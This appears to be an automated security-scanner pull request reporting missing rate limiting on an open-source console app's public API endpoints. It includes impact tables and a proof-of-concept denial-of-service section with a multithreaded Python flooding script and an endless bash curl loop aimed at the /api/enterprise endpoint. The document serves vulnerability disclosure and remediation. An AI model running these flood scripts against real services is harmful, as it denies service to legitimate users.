Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact High In this repository's context, exploitation could lead to denial of service by exhausting server resources like CPU and database connections, rendering the console app's enterprise and bench submission APIs unavailable for legitimate users, potentially disrupting operations for anomalyco's open-source platform. The public nature of these endpoints amplifies the risk of widespread unavailability without authentication barriers.
Likelihood High Given the repository's public APIs exposed without rate limiting, attackers can easily use automated tools or scripts to flood requests, making it a common target for DoS attacks; the open-source nature and potential public deployment increase exposure to motivated attackers seeking to disrupt the service.
Ease of Fix Easy Remediation involves adding a rate-limiting middleware like express-rate-limit to the API routes in the enterprise.ts file, requiring minimal code changes and no architectural overhauls or dependency conflicts.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in this repository stems from the absence of rate limiting on public API endpoints in packages/console/app/src/routes/api/enterprise.ts, such as /api/enterprise and /api/bench/submission. An attacker can exploit this by flooding these endpoints with an unlimited number of requests, overwhelming server resources like CPU and database connections, effectively causing a denial-of-service (DoS) that renders the service unavailable for legitimate users. This is particularly impactful in a Node.js/Express-based application like this one, where synchronous processing of requests can quickly exhaust thread pools or connection limits without built-in throttling.

An attacker can exploit this by flooding these endpoints with an unlimited number of requests, overwhelming server resources like CPU and database connections, effectively causing a denial-of-service (DoS) that renders the service unavailable for legitimate users. This is particularly impactful in a Node.js/Express-based application like this one, where synchronous processing of requests can quickly exhaust thread pools or connection limits without built-in throttling.

To demonstrate exploitation, an attacker would need network access to the deployed application (e.g., if it's running on a public server or accessible via a URL like https://opencode.anomalyco.com). Assuming the app is deployed in a typical environment (e.g., on a cloud VM or containerized with Node.js), the attacker can use a simple script to send a high volume of concurrent requests. Below is a Python script using the requests library to flood the /api/enterprise endpoint, which is defined in the vulnerable file and likely handles enterprise-related operations (based on the route name and repository context for an AI/multi-agent tool).

import requests
import threading
import time

# Target URL - replace with the actual deployed instance (e.g., https://opencode.anomalyco.com/api/enterprise)
TARGET_URL = "https://your-deployed-opencode-instance.com/api/enterprise"  # Attacker would use the real URL

# Function to send requests in a loop
def flood_endpoint():
    while True:
        try:
            # Send a POST request (assuming the endpoint accepts POST; adjust if GET based on actual route)
            # Include a sample payload if the endpoint expects one (e.g., JSON body for enterprise data)
            response = requests.post(TARGET_URL, json={"data": "flood_payload"}, timeout=5)
            print(f"Request sent: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")
        time.sleep(0.01)  # Minimal delay to maximize rate; attacker could remove this for even faster flooding

# Launch multiple threads to simulate concurrent attacks (e.g., 100 threads for high concurrency)
threads = []
for i in range(100):  # Adjust based on attacker's resources; more threads = more load
    t = threading.Thread(target=flood_endpoint)
    t.start()
    threads.append(t)

# Keep running indefinitely
for t in threads:
    t.join()

This script can be run on a machine with Python and requests installed (e.g., pip install requests). In a real attack, the attacker could distribute this across multiple machines or use tools like ab (Apache Bench) or siege for even higher throughput. For example, an equivalent bash command using curl:

# Flood with curl in a loop (run in multiple terminals or scripted)
while true; do
  curl -X POST https://your-deployed-opencode-instance.com/api/enterprise -H "Content-Type: application/json" -d '{"data":"flood"}' &
done

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure None This vulnerability is a DoS attack and does not provide access to sensitive data; no user credentials, API keys, or application data (e.g., code analysis results or enterprise configurations) can be exfiltrated through resource exhaustion alone.
System Compromise None Exploitation does not grant any system access, such as executing code, escalating privileges, or escaping containers; it only exhausts resources without compromising the underlying system or application logic.
Operational Impact High Unlimited requests can overwhelm server resources (e.g., CPU for processing, database connections for queries), causing complete service unavailability for legitimate users. In a multi-agent AI tool like this repository, it could disrupt enterprise benchmarking or console operations, requiring restarts and potentially affecting dependent services or user workflows.
Compliance Risk Medium Violates OWASP API Security Top 10 (API4:2023 - Unrestricted Resource Consumption) and could impact SOC2 compliance for availability controls, especially if the tool handles enterprise data. No direct GDPR or HIPAA violations unless downtime exposes sensitive data indirectly, but it risks failing security audits for API rate limiting best practices.

Vulnerability Details

  • Rule ID: V-003
  • File: packages/console/app/src/routes/api/enterprise.ts
  • Description: The public API endpoints, including /api/enterprise and /api/bench/submission, lack any form of rate limiting. This allows any user to send an unlimited number of requests, which can exhaust server resources (CPU, database connections) and make the service unavailable for legitimate users.
